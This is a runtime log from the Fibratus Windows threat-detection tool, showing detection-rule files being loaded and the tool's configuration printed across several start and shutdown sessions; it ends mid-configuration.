C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:15:28+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T16:15:28+01:00 level=info msg=bootstrapping with pid 13804. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:15:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-audit-api=>true enable-registry=>true stack-enrichment=>true enable-net=>true enable-dns=>false enable-image=>true max-buffers=>36 enable-vamap=>true flush-interval=>1s enable-mem=>false enable-handle=>false enable-fileio=>true buffer-size=>512 min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text log-stdout=>true max-age=>0 level=>info] + output ......................... [ amqp=>[ exchange=>fibratus durable=>false delivery-mode=>transient enabled=>false routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s passive=>false url=>amqp://localhost:5672 vhost=>/] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] method=>POST enabled=>false serializer=>json] elasticsearch=>[ trace-log=>false gzip-compression=>false timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s sniff=>false bulk-workers=>1 enabled=>false index-name=>fibratus flush-period=>1s healthcheck=>true template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] skip-mmaps=>false skip-files=>false skip-allocs=>false skip-registry=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:15:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:15:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:16:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:16:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:16:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:22:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T16:22:18+01:00 level=info msg=bootstrapping with pid 17128. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:22:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-audit-api=>true enable-threadpool=>false enable-registry=>true enable-net=>true enable-handle=>false flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-vamap=>true enable-fileio=>true min-buffers=>16 enable-dns=>false buffer-size=>512 enable-thread=>true enable-mem=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] serializer=>json timeout=>5s enabled=>false enable-gzip=>false method=>POST tls-insecure-skip-verify=>false] elasticsearch=>[ enabled=>false sniff=>false bulk-workers=>1 healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus gzip-compression=>false healthcheck=>true] amqp=>[ vhost=>/ durable=>false exchange=>fibratus passive=>false routing-key=>fibratus exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-procs=>[] enabled=>false excluded-files=>[] skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:22:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:22:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:22:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:22:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:22:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:24:01+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T16:24:01+01:00 level=info msg=bootstrapping with pid 8676. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:24:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true stack-enrichment=>true buffer-size=>512 enable-mem=>false enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true max-buffers=>36 min-buffers=>16 enable-net=>true flush-interval=>1s enable-dns=>false enable-threadpool=>false enable-image=>true enable-audit-api=>true enable-handle=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 max-age=>0 level=>info formatter=>text] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient durable=>false passive=>false exchange-type=>topic enabled=>false routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 exchange=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ flush-period=>1s enabled=>false healthcheck-interval=>10s sniff=>false healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s timeout=>5s trace-log=>false gzip-compression=>false index-name=>fibratus] http=>[ endpoints=>[] serializer=>json method=>POST timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-allocs=>false skip-files=>false skip-mmaps=>false fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:24:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:24:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:25:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:25:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:25:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:31:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T16:31:56+01:00 level=info msg=bootstrapping with pid 19780. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:31:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true min-buffers=>16 enable-handle=>false max-buffers=>36 enable-threadpool=>false stack-enrichment=>true enable-image=>true flush-interval=>1s enable-audit-api=>true enable-net=>true enable-thread=>true enable-mem=>false buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text max-age=>0 log-stdout=>true max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ exchange-type=>topic delivery-mode=>transient durable=>false url=>amqp://localhost:5672 passive=>false routing-key=>fibratus timeout=>5s] http=>[ timeout=>5s enabled=>false endpoints=>[] enable-gzip=>false method=>POST serializer=>json tls-insecure-skip-verify=>false] elasticsearch=>[ enabled=>false trace-log=>false healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false template-name=>fibratus bulk-workers=>1 index-name=>fibratus flush-period=>1s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:31:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:31:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:31:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:31:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:31:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:46:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T16:46:23+01:00 level=info msg=bootstrapping with pid 9520. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:46:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false to=>[] port=>25 use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ buffer-size=>512 enable-threadpool=>false enable-image=>true flush-interval=>1s enable-net=>true enable-handle=>false enable-dns=>false enable-fileio=>true min-buffers=>16 stack-enrichment=>true enable-thread=>true enable-vamap=>true max-buffers=>36 enable-registry=>true enable-mem=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true formatter=>text] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ timeout=>5s template-name=>fibratus gzip-compression=>false bulk-workers=>1 sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s flush-period=>1s healthcheck=>true healthcheck-timeout=>5s enabled=>false index-name=>fibratus trace-log=>false] eventlog=>[ level=>info enabled=>false] http=>[ method=>POST timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic passive=>false routing-key=>fibratus delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 enabled=>false durable=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false scan-timeout=>10s fastscan=>true excluded-procs=>[] excluded-files=>[] skip-mmaps=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:46:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:46:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:46:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:46:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:46:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:47:01+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T16:47:01+01:00 level=info msg=bootstrapping with pid 19100. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:47:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true stack-enrichment=>true enable-registry=>true buffer-size=>512 enable-vamap=>true max-buffers=>36 enable-net=>true enable-mem=>false enable-thread=>true flush-interval=>1s enable-threadpool=>false enable-handle=>false enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true min-buffers=>16 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 formatter=>text max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ exchange-type=>topic timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false passive=>false enabled=>false routing-key=>fibratus delivery-mode=>transient vhost=>/] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ timeout=>5s index-name=>fibratus healthcheck=>true trace-log=>false enabled=>false template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s sniff=>false bulk-workers=>1] http=>[ timeout=>5s serializer=>json enabled=>false method=>POST enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false excluded-procs=>[] scan-timeout=>10s enabled=>false excluded-files=>[] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:47:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:47:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:50:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:50:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:50:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:52:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T16:52:05+01:00 level=info msg=bootstrapping with pid 20140. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:52:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true max-buffers=>36 enable-threadpool=>false enable-vamap=>true enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-handle=>false enable-dns=>false enable-fileio=>true enable-image=>true stack-enrichment=>true enable-thread=>true enable-net=>true min-buffers=>16 enable-audit-api=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ 